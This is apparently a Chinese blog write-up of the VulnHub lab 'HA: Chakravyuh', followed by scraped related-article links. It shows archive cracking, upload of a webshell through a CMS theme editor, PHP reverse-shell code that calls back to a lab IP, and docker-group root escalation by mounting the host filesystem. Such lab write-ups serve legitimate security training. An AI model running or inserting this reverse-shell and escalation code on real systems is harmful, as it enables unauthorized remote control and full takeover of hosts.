HA: Chakravyuh

Vulnhub靶场

下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/

背景:

Close your eyes and feel the heat of being in the middle of the Chakravyuh. The Epic Battle formation that is said to uncrackable. Can you crack the Uncrackable? Does it have it in you? Crack this epic Challenge and Claim the Title of Arjuna of 21st Century.

ENUMERATION IS THE KEY!!!!!

端口扫描

发现ftp中存在arjun.7z

扫描路径

MySQL数据库

收集到这些信息后,猜测Getshell的流程是,通过压缩包知道数据库账号密码,数据库拿shell。

所以,先爆破arjun.7z的密码

Fcrackzip这款软件前面的靶机用过,挺好的,但不支持7z

Rarcrack这款软件可以爆破7z,但不能跑字典,遍历太久不现实。

rarcrack arjun.7z --threads 10 --type 7z

最后,我用的是PasswareKit,速度还是挺快的,支持GPU加速,

利用软件本身携带的字典将其破解,压缩包内的txt文本文件。

密码是family。

Base64解密:

gila:admin@gmail.com:princesa

不是数据库的密码。

看看是不是目录,前面的gila

http://192.168.139.140/gila/

http://192.168.139.140/gila/admin

在Themes处有模板选择,点击文件图标能编辑模板文件。

这里能够上传任意文件,上传了个马。

这个马无法解析,因为shell.ph被URL重写,将所有的指向index.php处理。

这里能够获取到数据库的账号密码。

进入数据库。

这里写入路径做了限制,不能直接写入shell,不过可以利用慢日志来获取shell。

同时该cms默认存在phpinfo。一般就是默认的/var/www/html/

但,这里不通过数据库Getshell

通过在index.php中写入反弹shell的代码Getshell

$sock=fsockopen("192.168.139.1",3418);exec("/bin/sh -i <&3 >&3 2>&3");

在PHP中执行如上代码的话,会把系统的标准输入输出重定向到/bin/sh里,导致php-fpm直接502,然后弹的shell也会瞬间掉了。

当系统没有禁用proc_popen的情况下,利用下面代码反弹shell。

$sock = fsockopen('192.168.139.1',3418);

$descriptorspec = array(

0 => $sock,

1 => $sock,

2 => $sock

);

$process = proc_open('/bin/sh', $descriptorspec, $pipes);

proc_close($process);

成功反弹shell。

python -c "import pty;pty.spawn('/bin/bash');"

获取交互式shell

查找提权的点

查找777权限文件

查找suid的文件

在查看id时,发现该用户处于docker组。

可以利用docker提权,大概过程就是建立一个容器,将本机的文件加载其中。

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

详细情况可百度 docker提权。

Cat /root/final.txt

VulnHub靶场学习_HA: Chakravyuh的更多相关文章

  1. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  2. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  3. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  4. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  5. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  6. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  7. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  8. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  9. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

随机推荐

  1. 消除win10桌面图标的右下方小箭头

    很容易的小东西,在这里简单提一下 新建一个记事本,写下以下代码,改为.bat后缀,双击运行,然后箭头消失 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Micro ...

  2. 面试题四十二:连续子数组的最大和,要求时间复杂度为 n

    方法一:举例分析数组的规律,累加数组逐步保存最大值:累加中和<0,则遗弃前面的累加和:重新开始: int FindMaxArray(int [] A) {               if(A= ...

  3. 为什么不应该使用goroutine id?

    Goroutine id 的获取方式 之前做的项目中,会使用 goroutine-id(以下简称 goid) 作为日志中的一个标识参数.而 goroutine 的相关信息是不对外暴露的.想要获取 go ...

  4. 启动扫描闪退,因为忘了在manifest里申请手机镜头使用许可了。

    启动扫描闪退,因为忘了在manifest里申请手机镜头使用许可了.

  5. 【接单】找我付费定制Python工具软件或网站开发、Chrome浏览器插件、油猴脚本

    各位可付费找我定制Python工具软件或网站开发.Chrome插件.油猴脚本.自动化软件,可通过我做的软件来评判我的实力,一定要先和我沟通你的需求,做不了的我也不会接. 费用50元起,通过淘宝APP或 ...

  6. Shell分析服务器日志,解锁各种新姿势

    1.查看有多少个IP访问: awk '{print $1}' log_file|sort|uniq|wc -l 2.查看某一个页面被访问的次数: grep "/index.php" ...

  7. Java复习总结(二)Java SE 面试题

    Java SE基础知识 目录 Java SE 1. 请你谈谈Java中是如何支持正则表达式操作的? 2. 请你简单描述一下正则表达式及其用途. 3. 请你比较一下Java和JavaSciprt? 4. ...

  8. PHP date_modify() 函数

    ------------恢复内容开始------------ 实例 修改时间戳.增加 15 天: <?php$date=date_create("2013-05-01");d ...

  9. PHP strcasecmp() 函数

    实例 比较两个字符串(不区分大小写): <?php高佣联盟 www.cgewang.comecho strcasecmp("Hello world!","HELLO ...

  10. Javascript 创建对象的三种方式

    function createPerson(name, qq) //工厂方式 { //在工厂里创建个对象 var obj=new Object(); obj.name=name; obj.qq=qq; ...